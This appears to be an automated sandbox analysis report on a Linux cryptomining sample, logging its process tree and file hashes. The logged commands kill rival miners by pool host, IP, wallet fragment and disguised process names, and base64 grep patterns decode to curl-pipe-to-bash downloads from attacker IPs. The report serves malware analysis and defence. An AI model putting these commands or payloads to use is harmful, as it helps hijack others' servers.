/bin/grepgrep -v grep2⤵PID:1431
-
-
/bin/psps aux2⤵PID:1430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1439
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1438
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1437
-
-
/bin/grepgrep -v grep2⤵PID:1436
-
-
/bin/psps aux2⤵PID:1435
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1444
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1443
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1442
-
-
/bin/grepgrep -v grep2⤵PID:1441
-
-
/bin/psps aux2⤵PID:1440
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1449
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1448
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1447
-
-
/bin/grepgrep -v grep2⤵PID:1446
-
-
/bin/psps aux2⤵PID:1445
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1454
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1453
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1451
-
-
/bin/psps aux2⤵PID:1450
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1459
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1458
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1457
-
-
/bin/grepgrep -v grep2⤵PID:1456
-
-
/bin/psps aux2⤵PID:1455
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/bin/grepgrep sustse2⤵PID:1462
-
-
/bin/grepgrep -v grep2⤵PID:1461
-
-
/bin/psps aux2⤵PID:1460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1469
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1468
-
-
/bin/grepgrep sustse32⤵PID:1467
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵PID:1465
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1475
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1474
-
-
/bin/grepgrep wget2⤵PID:1473
-
-
/bin/grepgrep mr.sh2⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1471
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1470
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1481
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1480
-
-
/bin/grepgrep curl2⤵PID:1479
-
-
/bin/grepgrep mr.sh2⤵PID:1478
-
-
/bin/grepgrep -v grep2⤵PID:1477
-
-
/bin/psps aux2⤵PID:1476
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1487
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1486
-
-
/bin/grepgrep wget2⤵PID:1485
-
-
/bin/grepgrep 2mr.sh2⤵PID:1484
-
-
/bin/grepgrep -v grep2⤵PID:1483
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1482
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1493
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1492
-
-
/bin/grepgrep curl2⤵PID:1491
-
-
/bin/grepgrep 2mr.sh2⤵PID:1490
-
-
/bin/grepgrep -v grep2⤵PID:1489
-
-
/bin/psps aux2⤵PID:1488
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1499
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1498
-
-
/bin/grepgrep wget2⤵PID:1497
-
-
/bin/grepgrep cr5.sh2⤵PID:1496
-
-
/bin/grepgrep -v grep2⤵PID:1495
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1494
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/bin/grepgrep curl2⤵PID:1503
-
-
/bin/grepgrep cr5.sh2⤵PID:1502
-
-
/bin/grepgrep -v grep2⤵PID:1501
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1500
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1511
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1510
-
-
/bin/grepgrep wget2⤵PID:1509
-
-
/bin/grepgrep logo9.jpg2⤵PID:1508
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/bin/psps aux2⤵PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1517
-
-
/bin/grepgrep curl2⤵PID:1515
-
-
/bin/grepgrep logo9.jpg2⤵PID:1514
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1516
-
-
/bin/grepgrep -v grep2⤵PID:1513
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1512
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1522
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1521
-
-
/bin/grepgrep j2.conf2⤵PID:1520
-
-
/bin/grepgrep -v grep2⤵PID:1519
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1518
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1528
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1527
-
-
/bin/grepgrep wget2⤵PID:1526
-
-
/bin/grepgrep luk-cpu2⤵PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1524
-
-
/bin/psps aux2⤵PID:1523
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1534
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1533
-
-
/bin/grepgrep curl2⤵PID:1532
-
-
/bin/grepgrep luk-cpu2⤵PID:1531
-
-
/bin/grepgrep -v grep2⤵PID:1530
-
-
/bin/psps aux2⤵PID:1529
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1540
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1539
-
-
/bin/grepgrep wget2⤵PID:1538
-
-
/bin/grepgrep ficov2⤵PID:1537
-
-
/bin/grepgrep -v grep2⤵PID:1536
-
-
/bin/psps aux2⤵PID:1535
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1545
-
-
/bin/grepgrep curl2⤵PID:1544
-
-
/bin/grepgrep ficov2⤵PID:1543
-
-
/bin/grepgrep -v grep2⤵PID:1542
-
-
/bin/psps aux2⤵PID:1541
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1552
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1551
-
-
/bin/grepgrep wget2⤵PID:1550
-
-
/bin/grepgrep he.sh2⤵PID:1549
-
-
/bin/grepgrep -v grep2⤵PID:1548
-
-
/bin/psps aux2⤵PID:1547
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1558
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1557
-
-
/bin/grepgrep curl2⤵PID:1556
-
-
/bin/grepgrep he.sh2⤵PID:1555
-
-
/bin/grepgrep -v grep2⤵PID:1554
-
-
/bin/psps aux2⤵PID:1553
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1564
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1563
-
-
/bin/grepgrep wget2⤵PID:1562
-
-
/bin/grepgrep miner.sh2⤵PID:1561
-
-
/bin/grepgrep -v grep2⤵PID:1560
-
-
/bin/psps aux2⤵PID:1559
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1570
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1569
-
-
/bin/grepgrep curl2⤵PID:1568
-
-
/bin/grepgrep miner.sh2⤵PID:1567
-
-
/bin/grepgrep -v grep2⤵PID:1566
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1565
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1576
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1575
-
-
/bin/grepgrep wget2⤵PID:1574
-
-
/bin/grepgrep nullcrew2⤵PID:1573
-
-
/bin/grepgrep -v grep2⤵PID:1572
-
-
/bin/psps aux2⤵PID:1571
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1582
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1581
-
-
/bin/grepgrep curl2⤵PID:1580
-
-
/bin/grepgrep nullcrew2⤵PID:1579
-
-
/bin/grepgrep -v grep2⤵PID:1578
-
-
/bin/psps aux2⤵PID:1577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1587
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1586
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1585
-
-
/bin/grepgrep -v grep2⤵PID:1584
-
-
/bin/psps aux2⤵PID:1583
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1592
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1591
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1590
-
-
/bin/grepgrep -v grep2⤵PID:1589
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1588
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1597
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1596
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1595
-
-
/bin/grepgrep -v grep2⤵PID:1594
-
-
/bin/psps aux2⤵PID:1593
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1602
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1601
-
-
/bin/grepgrep 144.217.45.452⤵PID:1600
-
-
/bin/grepgrep -v grep2⤵PID:1599
-
-
/bin/psps aux2⤵PID:1598
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1607
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1606
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1605
-
-
/bin/grepgrep -v grep2⤵PID:1604
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1612
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1611
-
-
/bin/grepgrep 176.31.6.162⤵PID:1610
-
-
/bin/grepgrep -v grep2⤵PID:1609
-
-
/bin/psps aux2⤵PID:1608
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1617
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1616
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1615
-
-
/bin/grepgrep -v grep2⤵PID:1614
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1622
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1621
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1620
-
-
/bin/grepgrep -v grep2⤵PID:1619
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1618
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1627
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1626
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1625
-
-
/bin/grepgrep -v grep2⤵PID:1624
-
-
/bin/psps auxf2⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1632
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1631
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1630
-
-
/bin/grepgrep -v grep2⤵PID:1629
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1628
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1637
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1636
-
-
/bin/grepPID:1635
-
-
/bin/grepgrep -v grep2⤵PID:1634
-
-
/bin/psps auxf2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1642
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1641
-
-
/bin/grepgrep monerohash.com2⤵PID:1640
-
-
/bin/grepgrep -v grep2⤵PID:1639
-
-
/bin/psps auxf2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1647
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1646
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1645
-
-
/bin/grepgrep -v grep2⤵PID:1644
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1651
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1650
-
-
/bin/grepgrep -v grep2⤵PID:1649
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1657
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1656
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1655
-
-
/bin/grepgrep -v grep2⤵PID:1654
-
-
/bin/psps auxf2⤵PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1662
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1661
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1660
-
-
/bin/grepgrep -v grep2⤵PID:1659
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1658
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1665
-
-
/bin/grepgrep -v grep2⤵PID:1664
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1666
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1671
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1670
-
-
/bin/grepgrep -v grep2⤵PID:1669
-
-
/bin/psps auxf2⤵PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1677
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1676
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1675
-
-
/bin/grepgrep -v grep2⤵PID:1674
-
-
/bin/psps auxf2⤵PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1681
-
/usr/local/sbin/killkill -9 16793⤵PID:1682
-
-
/usr/local/bin/killkill -9 16793⤵PID:1682
-
-
/usr/sbin/killkill -9 16793⤵PID:1682
-
-
/usr/bin/killkill -9 16793⤵PID:1682
-
-
/sbin/killkill -9 16793⤵PID:1682
-
-
/bin/killkill -9 16793⤵
- Reads CPU attributes
PID:1682
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1680
-
-
/bin/grepgrep xiaoyao2⤵PID:1679
-
-
/bin/psps auxf2⤵PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
/usr/local/sbin/killkill -9 16843⤵PID:1687
-
-
/usr/local/bin/killkill -9 16843⤵PID:1687
-
-
/usr/sbin/killkill -9 16843⤵PID:1687
-
-
/usr/bin/killkill -9 16843⤵PID:1687
-
-
/sbin/killkill -9 16843⤵PID:1687
-
-
/bin/killkill -9 16843⤵PID:1687
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1685
-
-
/bin/grepgrep xiaoxue2⤵PID:1684
-
-
/bin/psps auxf2⤵PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1691
-
-
/bin/grepgrep :144442⤵PID:1690
-
-
/bin/grepgrep -v grep2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1697
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1696
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1695
-
-
/bin/grepgrep 46.243.253.152⤵PID:1694
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1704
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1703
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1702
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1701
-
-
/bin/grepgrep 176.31.6.162⤵PID:1700
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1706
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1710
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1714
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads CPU attributes
PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵
- Reads CPU attributes
PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1718
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1720
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1722
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1726
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1725
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1728
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
PID:1727
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1730
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵
- Reads runtime system information
PID:1729
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1732
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads runtime system information
PID:1731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1734
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1733
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1736
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵
- Reads runtime system information
PID:1735
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1738
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1740
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads runtime system information
PID:1739
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1742
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1744
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1746
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1745
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1748
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1747
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1750
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵
- Reads CPU attributes
PID:1749
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1752
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1751
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1754
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1753
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1756
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵
- Reads CPU attributes
PID:1755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1758
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads runtime system information
PID:1757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1760
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads runtime system information
PID:1759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1762
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1761
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1764
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵
- Reads runtime system information
PID:1763
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1766
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1768
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1770
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads runtime system information
PID:1769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1772
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1771
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1774
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1776
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads CPU attributes
PID:1775
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1778
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1780
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1782
-
-
/usr/bin/pgreppgrep -f jawa2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1781
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1784
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads CPU attributes
PID:1783
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1786
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1785
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1788
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1787
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1790
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵
- Reads runtime system information
PID:1789
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1792
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵
- Reads runtime system information
PID:1791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1794
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1793
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1796
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1798
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1800
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1799
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1802
-
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads CPU attributes
PID:1801
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1804
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1806
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads CPU attributes
PID:1805
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1808
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1810
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1812
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1811
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1814
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1813
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1816
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1818
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1817
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1819
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1820
-
-
/usr/bin/pkillpkill -f apaceha2⤵
- Reads runtime system information
PID:1821
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:766
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:765
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:788
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:787
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
13B
MD53d47b8e895a71930bda5d4f3d8fc8589
SHA1efbaf468b81abb6b465ca12f35fa067bae1b4f10
SHA256be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
SHA512bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
-
Filesize
58B
MD5751424ef98633f2501ee54aae94d48e9
SHA1ac1964d06f247604ef910732c7d46446120e12c8
SHA2563a5fd2c3988dde5fa9d10eae0e43a36962e707e088e63587b1d499c63f6a34ee
SHA5124567a1691afb5591a30cd066793c9af625e23019fc6e5275fc16eb2b8df464135f278441bf20c9ee76e7c7869fee3a536df9b2eb598b32157bc6397719d6840e
-
Filesize
62B
MD56395dcadabdd17b856faba30a87bdc3d
SHA10705e49dd037162dbd6e3e6450232143189b7254
SHA256253db13314002fca3f64b7c78b6362acc3957101f8f07ed0102b034fa3720ddc
SHA51253d189192d04af8934cdb4138258e4d163dce1e2620d8b4d69a4e89ffb8aa44697489c1eb47492e9068f2f6297df8b3e16609997496be2549ad75ec72e809b4b
-
Filesize
59B
MD541d1529e7394b7047193675b943bcd14
SHA14fccac19d22ea9b409fe0a1db5437587e639573b
